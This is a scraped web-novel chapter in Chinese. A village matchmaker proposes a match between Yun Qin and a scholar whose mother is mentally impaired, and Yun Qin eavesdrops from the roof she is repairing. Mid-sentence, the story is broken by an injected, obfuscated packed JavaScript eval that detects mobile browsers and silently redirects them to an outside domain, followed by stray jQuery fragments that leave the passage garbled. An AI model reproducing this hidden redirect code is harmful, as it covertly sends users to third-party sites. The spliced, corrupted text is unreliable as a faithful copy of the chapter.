默认冷灰
24号文字
方正启体

1. 第一章

作者:发电姬本书字数:K更新时间:
    初夏的五更天,晨雾横在树杪上,如纱如练,雨露凝在树叶上,未见鸟影,但闻鸟鸣啁啾。


    第一缕天光落在田间时,各家各户有了响动。


    阳溪村村口东边一户人家,篱笆围着一方小院子,左边藤架结了一溜青翠的瓜,右边竖井旁斜放一个木桶。


    “吱呀”一声,篱笆门从外往里推开,云芹一头乌发挽了个纂儿,穿着一件青色粗麻交襟,双手袖子捋着,提着一捆茅草。


    清透的光影勾出她素面朝天,双眸清透,正是青春年华。


    “是阿芹回来了么?”屋内,母亲文木花忙着弄饭,没出来瞧,只在灶台前问。


    云芹应了一声。


    她在院内空地先放下茅草,轻轻呼一口气,又去搬一架木梯子。


    最小的妹子知知听到声息,出来说:“姐姐,我来帮你!”


    云芹摸摸知知的头顶,道:“那你帮我扶着梯子吧。”


    知知答:“好!”


    家里共有三四间茅舍,昨日一场急雨,冲坏厅房的茅草,滴答漏水,今个儿趁着没雨,一大早云芹就去找了合适的茅草,扎成捆带回家。


    她背着装着榔头的箱子,一手提那茅草,扶着梯子爬到屋顶。


    云芹猫着腰,小心地查看破了个洞的屋顶,屋顶视野高,她眼角余光发现远处小路上,一个胖乎乎的妇人,朝小院走来。


    那是附近几个村里有名的说媒人王婆,嘴皮子极其厉害。


    眼看着她越来越近,目的就是自家,云芹铺茅草的动作一顿,稍稍剥开一点,正好能从屋顶,听到厅里的动静。


    却说那王婆果然冲着云家来的,她拍门:“云娘子在么?”


    知知闻声,扶着梯子空不出手,叫文木花:“娘,有人来了!”


    文木花从厨房出来,双手在裙兜上擦,透过篱笆缝隙确认了一下:“王婆呐?”


    王婆:“是我。”


    开了门,见王婆手里提着半只鸡,鸡脚上绑着红纸,文木花心下了然,道:“进屋说。”


    云家用一间茅草屋当饭厅、客厅用,王婆一进门,就看不远处接了半桶雨水放着,房屋上还破了个口子。


    文木花讪笑,忙倒了一杯水递过去:“有劳你大老远跑来了。”


    王婆在村里名声向来不错,她作保说媒的婚事,虽不是保十桩就有十桩美满,倒也从没撮合出怨侣。


    王婆喝了口水,把半边鸡递给文木花,说:“若我没记错的话,你家大的那位,今年也有十八了吧?”


    文木花:“是,庚戌年生的。”


    王婆一拍大腿:“属羊的,正好,我这儿有一门顶顶合适的亲事,想说给你家大姑娘。”


    屋顶,云芹紧张凝神,把耳朵贴在破漏的洞口处,知知看着她的动作,不明所以:“姐姐?”


    云芹赶紧比了个“嘘”的姿势。


    屋内,文木花早有预料,还是一喜:“阿婆想说的,是哪门亲事?”


    王婆也不卖关子,直接说:“前月,隔壁长林村老何家来了个秀才外甥省亲,那秀才姓陆,属龙,今年二十有一,这阵子家里给他张罗娶妻,我想,你们家丫头很合适。”


    文木花听罢,既喜又忧。


    长林村和阳溪村同属一个县城管辖,相距不远,就是中间一条河,把两个村划开了,乡音却不改,两村常有嫁娶往来。


    文木花娘家就在长林村。


    加之老何家在当地是大户,他家有个秀才外甥的事,文木花也有所耳闻,听说是个精干后生,俊着哩。


    不过,陆秀才的爹已经没了,他是独自带着他母亲,来投奔舅舅家的,没什么产业。


    就是县城那些大户人家,家中若没了一个顶梁柱,少不得要吃些苦,何况在村里,那可是个劳动力。


    看出文木花面上的纠结,王婆便说:“他家是少了个男人,但前不久,陆秀才已经在长林村新办的小私塾,开始教书,收束脩了。”


    听闻陆秀才有了生活来源,不是那不事生产的读书人,文木花稍稍放心,却也困惑:


    “阿婆说的亲,没有托大的,只是,秀才有功名在身,都能配上县里的姑娘了,怎么往我们这边找呢?”


    村野人家,对读书人总是敬仰的,文木花明白,云芹纵然有千般好,却不识字,不好比县里姑娘。


    天上不会掉馅饼,文木花不知道是什么让陆秀才家出动王婆,来说这门亲事,但肯定有坏处。


    果然,王婆又喝了几口水,娓娓道来:“自家人不骗自家人,我也实诚和你说了吧,陆秀才的娘……”


    她下意识看看左右,手指点了点脑子,说:“这里不好。”


    文木花惊讶:“可有找郎中看看?”


    王婆摇摇头:“不大中用,也就能自己吃饭洗澡,其余和小孩儿似的。县里的姑娘家,断然是看不上这样的亲家。”


    屋顶上,云芹虽看不到王婆动作,却也从言语里猜出几分。


    每个村里,都会有一些不太灵光的小傻子,以前住隔壁的二丫就是。


    屋内静了好一会儿,才传来文木花的声音:“还是算了吧,我听说长辈是傻子,会影响以后的孙子的。”


    如果女儿能嫁一个秀才,文木花定然是高兴的,可如果这秀才既没有父亲,母亲又是傻子,先不说以后女儿要吃照顾人的苦,生出来的孩子,也可能是傻子。


    那她可就坑害了云芹的一生了。


    王婆忙说:“莫误会,那陆娘子何氏原先是没问题的,你从小也在长林村长大的,何家有没有傻子,你肯定是知道的。”


    又叹了口气:“老何同我说,陆娘子是遇到大喜大悲之事,一口气没上来,才成傻子的。”


    无意冒犯陆娘子,文木花抱歉笑笑,给她添水,又说:“倒是我误会了,不过我想,或许这两孩子还是没缘分……”


    王婆握住文木花的手,压低声音,说:“就怕你家大姑娘耽误了。”


    文木花顿住,一时如鲠在喉。


    云芹的模样自是没得说的,性子也好,会的活也多,本是一女难求,然而到现在二九年华,也没个着落。


    村里和她同年生的女娃,现在都是孩他娘了!


    文木花不是不急,只因前两年,云芹持着铁锹,把村里一个男的从村头打到水沟,不带喘气的。


    虽说是那男的理亏,可是往后,她的“悍妇”名声,传遍阳溪、长林二村。


    当时谈好的一门婚事告吹,再往后,云芹的婚事就耽搁了。


    便是有来提亲的,要么是泼皮,因旧事扬言要“治治她性子”,要么是无赖,垂涎她的容貌,全都不能作数。


    文木花若想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134150|180289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要云芹嫁得好,就得看外村,可外村的好亲事哪有那么好找,何况,家里也不舍得女儿嫁太远。


    而这陆秀才一家才来长林村,就没听说云芹从前的事。


    文木花目露沉思,王婆不是那等专赚这掮客勾当的没良心的,相反,她肯把陆娘子的事说清楚,已是不可多得。


    也是因为陆秀才并非尽善尽美,这门婚事,才有落到云芹身上的可能。


    甚至她有预感,这应当是云芹能遇到的,最好的婚事。


    陆秀才的身份,不比她当年那门婚事差太多。


    王婆见文木花不再一味拒绝,笑叹了声:“秀才的功名是实打实的,家里免徭役、不用赋税,这两点,就叫人眼馋到不行了,还可以不跪拜老爷。”


    文木花点点头,怎能叫人不眼馋。


    王婆:“我也知道,多得是那些下流人家,不看任何条件,冲着秀才的身份,就能把女儿嫁过去,不问生死,但你们家不是这样的。”


    这话听得文木花心里舒坦了一些。


    “我大可以去问别人家,也不过是多加点彩礼。可你也听说过我,我不吃这碗饭,说媒更为积德,不是只要钱就不顾其他的。”


    “我想,夫妻之间,只要两人不是那品性败坏的,若能齐心协力,定能过得好的。”


    文木花:“是这个道理。”


    王婆:“说完这家里,就说陆秀才此人,当真一表人才,你家大姑娘我小时候见过几面,模样也是好的,应当十分般配。”


    王婆不愧是十里八乡有名的媒婆,一番话下来,文木花的顾虑已经被打消了八成。


    见时机成熟,王婆主动说:“不知,我可不可以见见你家大姑娘?”


    文木花:“自然可以。”


    知女莫若母,她抬起头,看着屋顶始终差一点,没全补好的部分,扬声:“阿芹,方才的话你可都听到了?”


    “……”


    王婆正疑惑,就看那屋顶窸窸窣窣的,随后,传来一道轻轻淡淡的声音:“嗯。”


    王婆一惊,敢情方才那姑娘就一直在屋顶听着呢!


    倒是省了又一番口舌。


    云芹下屋顶的时候,衣衫上沾了些茅草碎屑,十八岁的大姑娘了,五官长开,脸颊微微圆润,眉眼昳丽,琼鼻樱口。


    王婆打量着云芹,果然是好样貌。


    只是,寻常姑娘家遇到说亲的,没这么淡然,尤其是对亲事不顺的姑娘而言,她们面上往往藏不住难堪。


    这姑娘,却不大一般,她有几分腼腆,但看着自己的眼眸很清明,没有郁卒。


    王婆笑说一声“好孩子”,又问了几句话,云芹一一答了,口条尚可,王婆这才鸣金收兵,告辞。


    文木花把王婆送到了篱笆门口,王婆说:“成与不成,晚点你都差人到我家说一声。”


    文木花点头道谢。


    她已经八成同意这门亲事了,可具体的,还得等云芹她爹赶集回来再说。


    心里想着事,文木花驻足在门口,突的,就看云芹噔噔噔走出屋来。


    文木花一吓,以为是有什么要紧的事,却看云芹手里提着那半边鸡,知知紧随其后,姊妹俩一直盯着这半只鸡。


    云芹轻舔下唇,朝文木花说:“娘,这鸡,清蒸还是炖煮?”


    文木花:“……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)